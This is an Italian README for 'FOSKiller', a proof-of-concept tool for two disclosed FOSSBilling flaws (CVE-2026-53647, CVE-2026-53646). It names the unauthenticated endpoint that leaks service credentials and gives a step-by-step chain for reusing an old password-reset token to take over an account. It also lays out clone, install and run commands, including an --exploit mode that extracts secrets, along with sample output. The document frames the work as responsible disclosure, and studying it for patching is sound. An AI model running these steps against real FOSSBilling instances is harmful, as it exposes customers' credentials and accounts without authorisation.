
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Divulgazione non autenticata della chiave API e riutilizzo del token di reset della password
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
realizzato da 7megaumka7
Strumento PoC per due vulnerabilità accettate nel programma GitHub Security Advisory in FOSSBilling ≤ 0.7.2
FOSKiller è uno strumento proof-of-concept che dimostra due vulnerabilità di sicurezza in FOSSBilling — una piattaforma open-source per la fatturazione e la gestione dei clienti. Entrambe le vulnerabilità sono state divulgate in modo responsabile attraverso il programma GitHub Security Advisory e sono completamente corrette in FOSSBilling 0.7.3+.
Lo strumento è pensato per:
| Avviso | CVE | Tipo | CVSS | Versioni interessate |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Divulgazione della configurazione della chiave API senza autenticazione | 6.9 Moderata | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Riutilizzo del token di reset password → Appropriazione dell'account | 7.7 Alta | >= 0.5.6, <= 0.7.2 |
L'endpoint guest /api/guest/serviceapikey/get_info restituisce l'intera configurazione del servizio — inclusi i campi custom_*, credenziali API, hostname e password — senza richiedere alcuna autenticazione. Un attaccante che conosce o enumera una chiave API valida può recuperare la configurazione completa del servizio backend da un endpoint pubblico.
Impatto: Esposizione di credenziali del servizio, hostname interni, segreti API.
Quando un cliente attiva due reset password consecutivi per lo stesso account, l'applicazione emette un nuovo token ma non invalida il precedente. Un attaccante che in precedenza ha catturato il primo token può usarlo per impostare una nuova password anche dopo che l'utente legittimo ha completato il proprio flusso di reset.
Catena dell'attacco:
1. L'attaccante attiva POST /api/guest/client/reset_password → cattura il token T1
2. La vittima attiva il proprio reset → l'app emette T2, T1 rimane valido
3. L'attaccante chiama POST /api/guest/client/update_password?hash=T1 con la password scelta
4. L'attaccante ha accesso persistente indipendentemente dal completamento del reset della vittima
Impatto: Appropriazione persistente dell'account di qualsiasi cliente la cui email di reset sia intercettabile.
Se le dipendenze mancano, lo script lo rileva all'avvio e offre di installarle automaticamente.
Clona e installa le dipendenze:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Oppure esegui senza pre-installazione — lo script chiederà di installare i pacchetti mancanti al primo avvio.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| Opzione | Obbligatorio | Descrizione |
|---|---|---|
--target URL | Sì | URL base dell'istanza FOSSBilling |
--key KEY | Per CVE-2026-53647 | Chiave API da testare |
--email EMAIL | Per CVE-2026-53646 | Email del cliente da testare |
--check-only | No | Modalità di rilevamento — conferma la vulnerabilità senza estrarre dati |
--exploit | No | Estrazione completa + documentazione della catena d'attacco |
--force | No | Salta il controllo dell'intervallo di versione |
--output FILE | No | Salva i risultati completi in un file JSON |
--timeout SEC | No | Timeout HTTP in secondi (default: 10) |
--proxy URL | No | Proxy HTTP (es. http://127.0.0.1:8080) |
--check-only e --exploit si escludono a vicenda.
| Modalità | Opzione | Cosa fa |
|---|---|---|
| Rilevamento | --check-only | Conferma l'esistenza della vulnerabilità. Non mostra né estrae valori sensibili. |
| Predefinita | (nessuna opzione di modalità) | Conferma lo stato e mostra evidenze di base. |
| Sfruttamento | --exploit | Estrae tutti i campi divulgati; documenta la catena completa di appropriazione dell'account con metadati temporali. |
Solo rilevamento — verifica entrambi i CVE senza estrarre dati:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Estrazione completa e documentazione della catena d'attacco:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Salva risultati in JSON e instrada attraverso Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Testa una versione sconosciuta o già corretta:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Sondaggio di https://billing.example.com …
[+] Versione rilevata: 0.7.1
[+] Intervallo interessato per CVE-2026-53647 (>=0.5.3 <=0.7.2): YES
[+] Intervallo interessato per CVE-2026-53646 (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Divulgazione della configurazione della chiave API senza autenticazione ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Modalità: Estrazione completa
[*] HTTP : 200
[+] VULNERABILE — l'endpoint ha restituito 4 campi sensibili senza autenticazione